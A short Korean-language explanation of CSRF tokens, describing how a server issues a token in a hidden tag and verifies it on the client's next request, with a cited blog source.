• CSRF 토큰 CSRF 토큰이란 서버에 들어온 요청이 실제 서버에서 허용한 요청이 맞는지 확인하기 위한 토큰이다. 서버에서는 클라이언트가 어떤 요청을 하면 해당 요청에 대한 응답 안에 숨겨진 태그로 CSRF 토큰을 같이 넘겨준다. 클라이언트가 특정 작업 수행 후 다시 해당 작업에 대한 요청과 CSRF 토큰을 보내면 서버에서는 해당 토큰을 검증한 이후 삭제한다. 이처럼 클라이언트가 어떤 작업을 수행하기 위해 서버에 요청했을 때, 서버에서 보낸 요청에 대한 알맞은 클라이언트의 응답인지 검증하기 위한 토큰이라고 할 수 있다. 출처: https://codevang.tistory.com/282